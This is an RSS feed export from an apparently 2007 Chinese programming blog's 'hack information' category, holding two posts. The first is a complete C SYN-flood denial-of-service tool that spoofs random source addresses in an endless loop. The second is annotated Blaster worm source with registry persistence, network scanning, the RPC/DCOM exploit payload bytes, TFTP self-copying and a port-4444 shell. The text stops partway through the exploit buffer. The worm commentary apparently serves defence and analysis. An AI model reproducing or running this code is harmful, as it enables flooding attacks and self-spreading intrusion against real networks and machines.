﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>C++博客-Dark Angle-随笔分类-some hack imformation</title><link>http://www.cppblog.com/niewenlong/category/4555.html</link><description /><language>zh-cn</language><lastBuildDate>Thu, 22 May 2008 03:42:27 GMT</lastBuildDate><pubDate>Thu, 22 May 2008 03:42:27 GMT</pubDate><ttl>60</ttl><item><title>DoS攻击源代码</title><link>http://www.cppblog.com/niewenlong/archive/2007/08/17/30230.html</link><dc:creator>聂文龙</dc:creator><author>聂文龙</author><pubDate>Fri, 17 Aug 2007 04:17:00 GMT</pubDate><guid>http://www.cppblog.com/niewenlong/archive/2007/08/17/30230.html</guid><wfw:comment>http://www.cppblog.com/niewenlong/comments/30230.html</wfw:comment><comments>http://www.cppblog.com/niewenlong/archive/2007/08/17/30230.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/niewenlong/comments/commentRss/30230.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/niewenlong/services/trackbacks/30230.html</trackback:ping><description><![CDATA[<div style="DISPLAY: block">void send_tcp(int sockfd,struct sockaddr_in *addr); <br>unsigned short check_sum(unsigned short *addr,int len); <br><br>int main(int argc,char **argv) <br>{ <br>int DESTPORT; <br>int sockfd; <br>struct sockaddr_in addr; <br>struct hostent *host; <br>int on=1; <br><br>if(argc != 3) <br>{ <br>fprintf(stderr,"Usage:dos host port.\n"); <br>exit(1); <br>} <br>DESTPORT = atoi(argv[2]); <br>printf("no is attacking host %s with port %d..\n",argv[1],DESTPORT); <br>//printf("ok started!\n"); <br>bzero(&amp;addr,sizeof(struct sockaddr_in)); <br>addr.sin_family=AF_INET; <br>addr.sin_port=htons(DESTPORT); <br><br>if(inet_aton(argv[1],&amp;addr.sin_addr)==0) <br>{ <br>host=gethostbyname(argv[1]); <br>if(host==NULL) <br>{ <br>fprintf(stderr,"HostName Error:%s\n\a",hstrerror(h_errno)); <br>exit(1); <br>} <br>addr.sin_addr=*(struct in_addr *)(host-&gt;h_addr_list[0]); <br>} <br><br>/**** 使用IPPROTO_TCP创建一个TCP的原始套接字 ****/ <br><br>sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP); <br>if(sockfd&lt;0) <br>{ <br>fprintf(stderr,"Socket Error:%s\n\a",strerror(errno)); <br>exit(1); <br>} <br>/******** 设置IP数据包格式,告诉系统内核模块IP数据包由我们自己来填写 ***/ <br><br>setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&amp;on,sizeof(on)); <br><br>/**** 没有办法,只用超级护用户才可以使用原始套接字 *********/ <br>setuid(getpid()); <br><br>/********* 发送炸弹了!!!! ****/ <br>send_tcp(sockfd,&amp;addr); <br>} <br><br>/******* 发送炸弹的实现 *********/ <br>void send_tcp(int sockfd,struct sockaddr_in *addr) <br>{ <br>char buffer[100]; /**** 用来放置我们的数据包 ****/ <br>struct ip *ip; <br>int i; <br>struct tcphdr *tcp; <br>int head_len; <br><br>/******* 我们的数据包实际上没有任何内容,所以长度就是两个结构的长度 ***/ <br><br>head_len=sizeof(struct ip)+sizeof(struct tcphdr); <br><br>bzero(buffer,100); <br><br>/******** 填充IP数据包的头部,还记得IP的头格式吗? ******/ <br>ip=(struct ip *)buffer; <br>ip-&gt;ip_v=IPVERSION; /** 版本一般的是 4 **/ <br>ip-&gt;ip_hl=sizeof(struct ip)&gt;&gt;2; /** IP数据包的头部长度 **/ <br>ip-&gt;ip_tos=0; /** 服务类型 **/ <br>ip-&gt;ip_len=htons(head_len); /** IP数据包的长度 **/ <br>ip-&gt;ip_id=0; /** 让系统去填写吧 **/ <br>ip-&gt;ip_off=0; /** 和上面一样,省点时间 **/ <br>ip-&gt;ip_ttl=MAXTTL; /** 最长的时间 255 **/ <br>ip-&gt;ip_p=IPPROTO_TCP; /** 我们要发的是 TCP包 **/ <br>ip-&gt;ip_sum=0; /** 校验和让系统去做 **/ <br>ip-&gt;ip_dst=addr-&gt;sin_addr; /** 我们攻击的对象 **/ <br><br>/******* 开始填写TCP数据包 *****/ <br>tcp=(struct tcphdr *)(buffer +sizeof(struct ip)); <br>tcp-&gt;source=htons(LOCALPORT); <br>tcp-&gt;dest=addr-&gt;sin_port; /** 目的端口 **/ <br>tcp-&gt;seq=random(); <br>tcp-&gt;ack_seq=0; <br>tcp-&gt;doff=5; <br>tcp-&gt;syn=1; /** 我要建立连接 **/ <br>tcp-&gt;check=0; <br><br><br>/** 好了,一切都准备好了.服务器,你准备好了没有?? ^_^ **/ <br>while(1) <br>{ <br>/** 你不知道我是从那里来的,慢慢的去等吧! **/ <br>ip-&gt;ip_src.s_addr=random(); <br><br>/** 什么都让系统做了,也没有多大的意思,还是让我们自己来校验头部吧 */ <br>/** 下面这条可有可无 */ <br>tcp-&gt;check=check_sum((unsigned short *)tcp, <br>sizeof(struct tcphdr)); <br>sendto(sockfd,buffer,head_len,0,addr,sizeof(struct sockaddr_in)); <br>} <br>} <br><br>/* 下面是首部校验和的算法,偷了别人的 */ <br>unsigned short check_sum(unsigned short *addr,int len) <br>{ <br>register int nleft=len; <br>register int sum=0; <br>register short *w=addr; <br>short answer=0; <br><br>while(nleft&gt;1) <br>{ <br>sum+=*w++; <br>nleft-=2; <br>} <br>if(nleft==1) <br>{ <br>*(unsigned char *)(&amp;answer)=*(unsigned char *)w; <br>sum+=answer; <br>} <br><br>sum=(sum&gt;&gt;16)+(sum&amp;0xffff); <br>sum+=(sum&gt;&gt;16); <br>answer=~sum; <br>return(answer); <br>}<br></div>
<img src ="http://www.cppblog.com/niewenlong/aggbug/30230.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/niewenlong/" target="_blank">聂文龙</a> 2007-08-17 12:17 <a href="http://www.cppblog.com/niewenlong/archive/2007/08/17/30230.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>冲击波原代码</title><link>http://www.cppblog.com/niewenlong/archive/2007/08/17/30229.html</link><dc:creator>聂文龙</dc:creator><author>聂文龙</author><pubDate>Fri, 17 Aug 2007 04:16:00 GMT</pubDate><guid>http://www.cppblog.com/niewenlong/archive/2007/08/17/30229.html</guid><wfw:comment>http://www.cppblog.com/niewenlong/comments/30229.html</wfw:comment><comments>http://www.cppblog.com/niewenlong/archive/2007/08/17/30229.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/niewenlong/comments/commentRss/30229.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/niewenlong/services/trackbacks/30229.html</trackback:ping><description><![CDATA[<p><span>Blaster<br>Worm for Windows<br>blaster.cpp<br>--------------------------------------------------------------------------------<br><br>#include &lt;winsock2.h&gt;<br>#include &lt;ws2tcpip.h&gt; /*IP_HDRINCL*/<br>#include &lt;wininet.h&gt; /*InternetGetConnectedState*/<br>#include &lt;stdio.h&gt;<br><br>#pragma comment (lib, "ws2_32.lib")<br>#pragma comment (lib, "wininet.lib")<br>#pragma comment (lib, "advapi32.lib")<br><br><br>/*<br>* These strings aren't used in the worm, Buford put them here<br>* so that whitehat researchers would discover them.<br>* BUFORD: Note that both of these messages are the typical<br>* behavior of a teenager who recently discovered love, and<br>* is in the normal teenage mode of challenging authority.<br>*/<br>const char msg1[]="I just want to say LOVE YOU SAN!!";<br>const char msg2[]="billy gates why do you make this possible ?"<br>" Stop making money and fix your software!!";<br><br><br>/*<br>* Buford probably put the worm name as a "define" at the top<br>* of his program so that he could change the name at any time.<br>* 2003-09-29: This is the string that Parson changed.<br>*/<br>#define MSBLAST_EXE "msblast.exe"<br><br>/*<br>* MS-RPC/DCOM runs over port 135.<br>* DEFENSE: firewalling port 135 will prevent systems from<br>* being exploited and will hinder the spread of this worm.<br>*/<br>#define MSRCP_PORT_135 135<br><br>/*<br>* The TFTP protocol is defined to run on port 69. Once this<br>* worm breaks into a victim, it will command it to download<br>* the worm via TFTP. Therefore, the worms briefly runs a<br>* TFTP service to deliver that file.<br>* DEFENSE: firewalling 69/udp will prevent the worm from<br>* fully infected a host.<br>*/<br>#define TFTP_PORT_69 69<br><br>/*<br>* The shell-prompt is established over port 4444. The <br>* exploit code (in the variable 'sc') commands the victim<br>* to "bind a shell" on this port. The exploit then connects<br>* to that port to send commands, such as TFTPing the <br>* msblast.exe file down and launching it.<br>* DEFENSE: firewalling 4444/tcp will prevent the worm from<br>* spreading.<br>*/<br>#define SHELL_PORT_4444 4444<br><br><br>/*<br>* A simple string to hold the current IP address<br>*/<br>char target_ip_string[16];<br><br>/*<br>* A global variable to hold the socket for the TFTP service.<br>*/<br>int fd_tftp_service;<br><br>/* <br>* Global flag to indicate this thread is running. This<br>* is set when the thread starts, then is cleared when<br>* the thread is about to end.<br>* This demonstrates that Buford isn't confident with<br>* multi-threaded programming -- he should just check<br>* the thread handle.<br>*/<br>int is_tftp_running;<br><br>/* <br>* When delivering the worm file to the victim, it gets the<br>* name by querying itself using GetModuleFilename(). This<br>* makes it easier to change the filename or to launch the<br>* worm. */<br>char msblast_filename[256+4];<br><br>int ClassD, ClassC, ClassB, ClassA;<br><br>int local_class_a, local_class_b;<br><br>int winxp1_or_win2k2;<br><br><br>ULONG WINAPI blaster_DoS_thread(LPVOID);<br>void blaster_spreader();<br>void blaster_exploit_target(int fd, const char *victim_ip);<br>void blaster_send_syn_packet(int target_ip, int fd);<br><br><br>/*************************************************************** <br>* This is where the 'msblast.exe' program starts running<br>***************************************************************/<br>void main(int argc, char *argv[]) <br>{ <br>WSADATA WSAData; <br>char myhostname[512]; <br>char daystring[3];<br>char monthstring[3]; <br>HKEY hKey;<br>int ThreadId;<br>register unsigned long scan_local=0; <br><br>/*<br>* Create a registry key that will cause this worm<br>* to run every time the system restarts.<br>* DEFENSE: Slammer was "memory-resident" and could<br>* be cleaned by simply rebooting the machine.<br>* Cleaning this worm requires this registry entry<br>* to be deleted.<br>*/<br>RegCreateKeyEx(<br>/*hKey*/ HKEY_LOCAL_MACHINE, <br>/*lpSubKey*/ "SOFTWARE\\Microsoft\\Windows\\"<br>"CurrentVersion\\Run",<br>/*Reserved*/ 0,<br>/*lpClass*/ NULL,<br>/*dwOptions*/ REG_OPTION_NON_VOLATILE,<br>/*samDesired */ KEY_ALL_ACCESS,<br>/*lpSecurityAttributes*/ NULL, <br>/*phkResult */ &amp;hKey,<br>/*lpdwDisposition */ 0);<br>RegSetvalueExA(<br>hKey, <br>"windows auto update", <br>0, <br>REG_SZ, <br>MSBLAST_EXE, <br>50);<br>RegCloseKey(hKey); <br><br><br>/*<br>* Make sure this isn't a second infection. A common problem<br>* with worms is that they sometimes re-infect the same<br>* victim repeatedly, eventually crashing it. A crashed <br>* system cannot spread the worm. Therefore, worm writers<br>* now make sure to prevent reinfections. The way Blaster<br>* does this is by creating a system "global" object called<br>* "BILLY". If another program in the computer has already<br>* created "BILLY", then this instance won't run.<br>* DEFENSE: this implies that you can remove Blaster by <br>* creating a mutex named "BILLY". When the computer <br>* restarts, Blaster will falsely believe that it has<br>* already infected the system and will quit. <br>*/<br>CreateMutexA(NULL, TRUE, "BILLY"); <br>if (GetLastError() == ERROR_ALREADY_EXISTS)<br>ExitProcess(0); <br><br>/*<br>* Windows systems requires "WinSock" (the network API layer)<br>* to be initialized. Note that the SYNflood attack requires<br>* raw sockets to be initialized, which only works in<br>* version 2.2 of WinSock.<br>* BUFORD: The following initialization is needlessly<br>* complicated, and is typical of programmers who are unsure<br>* of their knowledge of sockets..<br>*/<br>if (WSAStartup(MAKEWORD(2,2), &amp;WSAData) != 0<br>&amp;&amp; WSAStartup(MAKEWORD(1,1), &amp;WSAData) != 0<br>&amp;&amp; WSAStartup(1, &amp;WSAData) != 0)<br>return;<br><br>/*<br>* The worm needs to read itself from the disk when <br>* transferring to the victim. Rather than using a hard-coded<br>* location, it discovered the location of itself dynamically<br>* through this function call. This has the side effect of<br>* making it easier to change the name of the worm, as well<br>* as making it easier to launch it.<br>*/<br>GetModuleFileNameA(NULL, msblast_filename,<br>sizeof(msblast_filename)); <br><br>/*<br>* When the worm infects a dialup machine, every time the user<br>* restarts their machine, the worm's network communication<br>* will cause annoying 'dial' popups for the user. This will<br>* make them suspect their machine is infected.<br>* The function call below makes sure that the worm only<br>* starts running once the connection to the Internet<br>* has been established and not before.<br>* BUFORD: I think Buford tested out his code on a machine<br>* and discovered this problem. Even though much of the<br>* code indicates he didn't spend much time on<br>* testing his worm, this line indicates that he did<br>* at least a little bit of testing.<br>*/<br>while (!InternetGetConnectedState(&amp;ThreadId, 0))<br>Sleep (20000); /*wait 20 seconds and try again */<br><br>/*<br>* Initialize the low-order byte of target IP address to 0.<br>*/<br>ClassD = 0;<br><br>/*<br>* The worm must make decisions "randomly": each worm must<br>* choose different systems to infect. In order to make<br>* random choices, the programmer must "seed" the random<br>* number generator. The typical way to do this is by<br>* seeding it with the current timestamp.<br>* BUFORD: Later in this code you'll find that Buford calls<br>* 'srand()' many times to reseed. This is largely<br>* unnecessary, and again indicates that Buford is not <br>* confident in his programming skills, so he constantly<br>* reseeds the generator in order to make extra sure he<br>* has gotten it right.<br>*/<br>srand(GetTickCount()); <br><br>/*<br>* This initializes the "local" network to some random<br>* value. The code below will attempt to figure out what<br>* the true local network is -- but just in case it fails,<br>* the initialization fails, using random values makes sure<br>* the worm won't do something stupid, such as scan the<br>* network around 0.0.0.0<br>*/<br>local_class_a = (rand() % 254)+1; <br>local_class_b = (rand() % 254)+1; <br><br>/*<br>* This discovers the local IP address used currently by this<br>* victim machine. Blaster randomly chooses to either infect<br>* just the local ClassB network, or some other network,<br>* therefore it needs to know the local network.<br>* BUFORD: The worm writer uses a complex way to print out<br>* the IP address into a string, then parse it back again<br>* to a number. This demonstrates that Buford is fairly<br>* new to C programming: he thinks in terms of the printed<br>* representation of the IP address rather than in its<br>* binary form.<br>*/<br>if (gethostname(myhostname, sizeof(myhostname)) != -1) {<br>HOSTENT *p_hostent = gethostbyname(myhostname);<br><br>if (p_hostent != NULL &amp;&amp; p_hostent-&gt;h_addr != NULL) {<br>struct in_addr in; <br>const char *p_addr_item;<br><br>memcpy(&amp;in, p_hostent-&gt;h_addr, sizeof(in));<br>sprintf(myhostname, "%s", inet_ntoa(in)); <br><br>p_addr_item = strtok(myhostname, ".");<br>ClassA = atoi(p_addr_item); <br><br>p_addr_item = strtok(0, ".");<br>ClassB = atoi(p_addr_item);<br><br>p_addr_item = strtok(0, ".");<br>ClassC = atoi(p_addr_item);<br><br>if (ClassC &gt; 20) { <br>/* When starting from victim's address range, <br>* try to start a little bit behind. This is<br>* important because the scanning logic only<br>* move forward. */<br>srand(GetTickCount()); <br>ClassC -= (rand() % 20); <br>} <br>local_class_a = ClassA; <br>local_class_b = ClassB; <br>scan_local = TRUE; <br>}<br>}<br><br><br>/*<br>* This chooses whether Blaster will scan just the local<br>* network (40% chance) or a random network (60% chance)<br>*/<br>srand(GetTickCount()); <br>if ((rand() % 20) &lt; 12) <br>scan_local = FALSE;<br><br>/*<br>* The known exploits require the hacker to indicate whether <br>* the victim is WinXP or Win2k. The worm has to guess. The<br>* way it guesses is that it chooses randomly. 80% of the time<br>* it will assume that all victims are WinXP, and 20% of the<br>* time it will assume all victims are Win2k. This means that<br>* propogation among Win2k machines will be slowed down by<br>* the fact Win2k machines are getting DoSed faster than they<br>* are getting exploited. <br>*/<br>winxp1_or_win2k2 = 1; <br>if ((rand()%10) &gt; 7) <br>winxp1_or_win2k2 = 2; <br><br>/*<br>* If not scanning locally, then choose a random IP address<br>* to start with.<br>* BUG: this worm choose bad ranges above 224. This will <br>* cause a bunch of unnecessary multicast traffic. Weird<br>* multicast traffic has historically been an easy way of <br>* detecting worm activity.<br>*/<br>if (!scan_local) { <br>ClassA = (rand() % 254)+1; <br>ClassB = (rand() % 254); <br>ClassC = (rand() % 254); <br>}<br><br><br>/*<br>* Check the date so that when in the certain range, it will <br>* trigger a DoS attack against Micosoft. The following<br>* times will trigger the DoS attack:<br>* Aug 16 through Aug 31<br>* Spt 16 through Spt 30<br>* Oct 16 through Oct 31<br>* Nov 16 through Nov 30<br>* Dec 16 through Dec 31<br>* This applies to all years, and is based on local time.<br>* FAQ: The worm is based on "local", not "global" time.<br>* That means the DoS attack will start from Japan,<br>* then Asia, then Europe, then the United States as the<br>* time moves across the globe.<br>*/<br>#define MYLANG MAKELANGID(LANG_ENGLISH, SUBLANG_DEFAULT)<br>#define LOCALE_409 MAKELCID(MYLANG, SORT_DEFAULT)<br>GetDateformat( LOCALE_409, <br>0, <br>NULL, /*localtime, not GMT*/ <br>"d", <br>daystring, <br>sizeof(daystring)); <br>GetDateformat( LOCALE_409, <br>0, <br>NULL, /*localtime, not GMT*/ <br>"M", <br>monthstring, <br>sizeof(monthstring));<br>if (atoi(daystring) &gt; 15 &amp;&amp; atoi(monthstring) &gt; 8)<br>CreateThread(NULL, 0, <br>blaster_DoS_thread, <br>0, 0, &amp;ThreadId); <br><br>/*<br>* As the final task of the program, go into worm mode<br>* trying to infect systems.<br>*/<br>for (;;)<br>blaster_spreader();<br><br>/*<br>* It'll never reach this point, but in theory, you need a<br>* WSACleanup() after a WSAStartup().<br>*/<br>WSACleanup();<br>} <br><br><br><br>/*<br>* This will be called from CreateThread in the main worm body<br>* right after it connects to port 4444. After the thread is <br>* started, it then sends the string "<br>* tftp -i %d.%d.%d.%d GET msblast.exe" (where the %ds represents<br>* the IP address of the attacker).<br>* Once it sends the string, it then waits for 20 seconds for the<br>* TFTP server to end. If the TFTP server doesn't end, it calls<br>* TerminateThread.<br>*/<br>DWORD WINAPI blaster_tftp_thread(LPVOID p)<br>{<br>/*<br>* This is the protocol format of a TFTP packet. This isn't<br>* used in the code -- I just provide it here for reference<br>*/<br>struct TFTP_Packet<br>{<br>short opcode;<br>short block_id;<br>char data[512];<br>};<br><br>char reqbuf[512]; /* request packet buffer */<br>struct sockaddr_in server; /* server-side port number */<br>struct sockaddr_in client; /* client IP address and port */<br>int sizeof_client; /* size of the client structure*/<br>char rspbuf[512]; /* response packet */<br><br>static int fd; /* the socket for the server*/<br>register FILE *fp;<br>register block_id;<br>register int block_size;<br><br>/* Set a flag indicating this thread is running. The other <br>* thread will check this for 20 seconds to see if the TFTP<br>* service is still alive. If this thread is still alive in<br>* 20 seconds, it will be killed.<br>*/<br>is_tftp_running = TRUE; /*1 == TRUE*/<br><br>/* Create a server-socket to listen for UDP requests on */<br>fd = socket(AF_INET, SOCK_DGRAM, 0);<br>if (fd == SOCKET_ERROR)<br>goto closesocket_and_exit;<br><br>/* Bind the socket to 69/udp */<br>memset(&amp;server, 0, sizeof(server));<br>server.sin_family = AF_INET;<br>server.sin_port = htons(TFTP_PORT_69); <br>server.sin_addr.s_addr = 0; /*TFTP server addr = &lt;any&gt;*/<br>if (bind(fd, (struct sockaddr*)&amp;server, sizeof(server)) != 0)<br>goto closesocket_and_exit;<br><br>/* Receive a packet, any packet. The contents of the received<br>* packet are ignored. This means, BTW, that a defensive <br>* "worm-kill" could send a packet from somewhere else. This<br>* will cause the TFTP server to download the msblast.exe<br>* file to the wrong location, preventing the victim from<br>* doing the download. */<br>sizeof_client = sizeof(client);<br>if (recvfrom(fd, reqbuf, sizeof(reqbuf), 0, <br>(struct sockaddr*)&amp;client, &amp;sizeof_client) &lt;= 0)<br>goto closesocket_and_exit;<br><br>/* The TFTP server will respond with many 512 byte blocks<br>* until it has completely sent the file; each block must<br>* have a unique ID, and each block must be acknowledged.<br>* BUFORD: The worm ignores TFTP ACKs. This is probably why<br>* the worm restarts the TFTP service rather than leaving it<br>* enabled: it essentially flushes all the ACKs from the <br>* the incoming packet queue. If the ACKs aren't flushed,<br>* the worm will incorrectly treat them as TFTP requests.<br>*/<br>block_id = 0;<br><br>/* Open this file. GetModuleFilename was used to figure out<br>* this filename. */<br>fp = fopen(msblast_filename, "rb");<br>if (fp == NULL)<br>goto closesocket_and_exit;<br><br>/* Continue sending file fragments until none are left */<br>for (;;) {<br>block_id++;<br><br>/* Build TFTP header */<br>#define TFTP_OPCODE_DATA 3<br>*(short*)(rspbuf+0) = htons(TFTP_OPCODE_DATA);<br>*(short*)(rspbuf+2)= htons((short)block_id);<br><br>/* Read next block of data (about 12 blocks total need<br>* to be read) */<br>block_size = fread(rspbuf+4, 1, 512, fp);<br><br>/* Increase the effective length to include the TFTP<br>* head built above */<br>block_size += 4;<br><br>/* Send this block */<br>if (sendto(fd, (char*)&amp;rspbuf, block_size, <br>0, (struct sockaddr*)&amp;client, sizeof_client) &lt;= 0)<br>break;<br><br>/* Sleep for a bit.<br>* The reason for this is because the worm doesn't care<br>* about retransmits -- it therefore must send these <br>* packets slow enough so congestion doesn't drop them.<br>* If it misses a packet, then it will DoS the victim<br>* without actually infecting it. Worse: the intended<br>* victim will continue to send packets, preventing the<br>* worm from infecting new systems because the <br>* requests will misdirect TFTP. This design is very<br>* bad, and is my bet as the biggest single factor<br>* that slows down the worm. */<br>Sleep(900);<br><br>/* File transfer ends when the last block is read, which<br>* will likely be smaller than a full-sized block*/<br>if (block_size != sizeof(rspbuf)) {<br>fclose(fp);<br>fp = NULL;<br>break;<br>}<br>} <br><br>if (fp != NULL)<br>fclose(fp);<br><br>closesocket_and_exit:<br><br>/* Notify that the thread has stopped, so that the waiting <br>* thread can continue on */<br>is_tftp_running = FALSE;<br>closesocket(fd);<br>ExitThread(0);<br><br>return 0;<br>}<br><br><br><br><br>/*<br>* This function increments the IP address. <br>* BUFORD: This conversion from numbers, to strings, then back<br>* to number is overly complicated. Experienced programmers<br>* would simply store the number and increment it. This shows<br>* that Buford does not have much experience work with<br>* IP addresses.<br>*/<br>void blaster_increment_ip_address()<br>{<br>for (;;) {<br>if (ClassD &lt;= 254) {<br>ClassD++;<br>return;<br>}<br><br>ClassD = 0;<br>ClassC++;<br>if (ClassC &lt;= 254)<br>return;<br>ClassC = 0;<br>ClassB++;<br>if (ClassB &lt;= 254)<br>return;<br>ClassB = 0;<br>ClassA++;<br>if (ClassA &lt;= 254)<br>continue;<br>ClassA = 0;<br>return;<br>}<br>}<br><br><br>/*<br>* This is called from the main() function in an<br>* infinite loop. It scans the next 20 addresses,<br>* then exits.<br>*/<br>void blaster_spreader()<br>{<br>fd_set writefds;<br><br>register int i;<br>struct sockaddr_in sin;<br>struct sockaddr_in peer;<br>int sizeof_peer;<br>int sockarray[20];<br>int opt = 1;<br>const char *victim_ip;<br><br>/* Create the beginnings of a "socket-address" structure that<br>* will be used repeatedly below on the 'connect()' call for<br>* each socket. This structure specified port 135, which is<br>* the port used for RPC/DCOM. */<br>memset(&amp;sin, 0, sizeof(sin));<br>sin.sin_family = AF_INET;<br>sin.sin_port = htons(MSRCP_PORT_135);<br><br>/* Create an array of 20 socket descriptors */<br>for (i=0; i&lt;20; i++) {<br>sockarray[i] = socket(AF_INET, SOCK_STREAM, 0);<br>if (sockarray[i] == -1)<br>return;<br>ioctlsocket(sockarray[i], FIONBIO , &amp;opt);<br>}<br><br>/* Initiate a "non-blocking" connection on all 20 sockets<br>* that were created above.<br>* FAQ: Essentially, this means that the worm has 20 <br>* "threads" -- even though they aren't true threads.<br>*/<br>for (i=0; i&lt;20; i++) {<br>int ip;<br><br>blaster_increment_ip_address();<br>sprintf(target_ip_string, "%i.%i.%i.%i", <br>ClassA, ClassB, ClassC, ClassD);<br><br>ip = inet_addr(target_ip_string);<br>if (ip == -1)<br>return;<br>sin.sin_addr.s_addr = ip;<br>connect(sockarray[i],(struct sockaddr*)&amp;sin,sizeof(sin));<br>}<br><br>/* Wait 1.8-seconds for a connection.<br>* BUG: this is often not enough, especially when a packet<br>* is lost due to congestion. A small timeout actually makes<br>* the worm slower than faster */<br>Sleep(1800);<br><br>/* Now test to see which of those 20 connections succeeded.<br>* BUFORD: a more experienced programmer would have done<br>* a single 'select()' across all sockets rather than<br>* repeated calls for each socket. */<br>for (i=0; i&lt;20; i++) {<br>struct timeval timeout;<br>int nfds;<br><br>timeout.tv_sec = 0;<br>timeout.tv_usec = 0;<br>nfds = 0;<br><br>FD_ZERO(&amp;writefds);<br>FD_SET((unsigned)sockarray[i], &amp;writefds);<br><br>if (select(0, NULL, &amp;writefds, NULL, &amp;timeout) != 1) {<br>closesocket(sockarray[i]);<br>} else {<br>sizeof_peer = sizeof(peer);<br>getpeername(sockarray[i],<br>(struct sockaddr*)&amp;peer, &amp;sizeof_peer); <br>victim_ip = inet_ntoa(peer.sin_addr);<br><br>/* If connection succeeds, exploit the victim */<br>blaster_exploit_target(sockarray[i], victim_ip);<br>closesocket(sockarray[i]);<br>}<br>}<br><br>}<br><br>/*<br>* This is where the victim is actually exploited. It is the same<br>* exploit as created by xfocus and altered by HDMoore.<br>* There are a couple of differences. The first is that the in<br>* those older exploits, this function itself would create the<br>* socket and connect, whereas in Blaster, the socket is already<br>* connected to the victim via the scanning function above. The<br>* second difference is that the packets/shellcode blocks are<br>* declared as stack variables rather than as static globals.<br>* Finally, whereas the older exploits give the hacker a <br>* "shell prompt", this one automates usage of the shell-prompt<br>* to tell the victim to TFTP the worm down and run it.<br>*/<br>void blaster_exploit_target(int sock, const char *victim_ip)<br>{<br><br>/* These blocks of data are just the same ones copied from the<br>* xfocus exploit prototype. Whereas the original exploit<br>* declared these as "static" variables, Blaster declares<br>* these as "stack" variables. This is because the xfocus<br>* exploit altered them -- they must be reset back to their<br>* original values every time. */<br>unsigned char bindstr[]={<br>0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00,<br><br>0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00,<br><br>0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,<br>0x00,0x00,0x00,0x00,<br>0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00,<br>0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00};<br><br><br><br>unsigned char request1[]={<br>0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0xE8,0x03<br>,0x00,0x00,0xE5,0x00,0x00,0x00,0xD0,0x03,0x00,0x00,0x01,0x00,0x04,0x00,0x05,0x00<br><br>,0x06,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x32,0x24,0x58,0xFD,0xCC,0x45<br><br>,0x64,0x49,0xB0,0x70,0xDD,0xAE,0x74,0x2C,0x96,0xD2,0x60,0x5E,0x0D,0x00,0x01,0x00<br><br>,0x00,0x00,0x00,0x00,0x00,0x00,0x70,0x5E,0x0D,0x00,0x02,0x00,0x00,0x00,0x7C,0x5E<br><br>,0x0D,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x80,0x96,0xF1,0xF1,0x2A,0x4D<br><br>,0xCE,0x11,0xA6,0x6A,0x00,0x20,0xAF,0x6E,0x72,0xF4,0x0C,0x00,0x00,0x00,0x4D,0x41<br><br>,0x52,0x42,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00<br><br>,0x00,0x00,0xA8,0xF4,0x0B,0x00,0x60,0x03,0x00,0x00,0x60,0x03,0x00,0x00,0x4D,0x45<br><br>,0x4F,0x57,0x04,0x00,0x00,0x00,0xA2,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00<br><br>,0x00,0x00,0x00,0x00,0x00,0x46,0x38,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00<br><br>,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,0x30,0x03,0x00,0x00,0x28,0x03<br><br>,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0xC8,0x00<br><br>,0x00,0x00,0x4D,0x45,0x4F,0x57,0x28,0x03,0x00,0x00,0xD8,0x00,0x00,0x00,0x00,0x00<br><br>,0x00,0x00,0x02,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00<br><br>,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC4,0x28,0xCD,0x00,0x64,0x29<br><br>,0xCD,0x00,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0xB9,0x01,0x00,0x00,0x00,0x00<br><br>,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAB,0x01,0x00,0x00,0x00,0x00<br><br>,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA5,0x01,0x00,0x00,0x00,0x00<br><br>,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA6,0x01,0x00,0x00,0x00,0x00<br><br>,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA4,0x01,0x00,0x00,0x00,0x00<br><br>,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAD,0x01,0x00,0x00,0x00,0x00<br><br>,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAA,0x01,0x00,0x00,0x00,0x00<br><br>,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x07,0x00,0x00,0x00,0x60,0x00<br><br>,0x00,0x00,0x58,0x00,0x00,0x00,0x90,0x00,0x00,0x00,0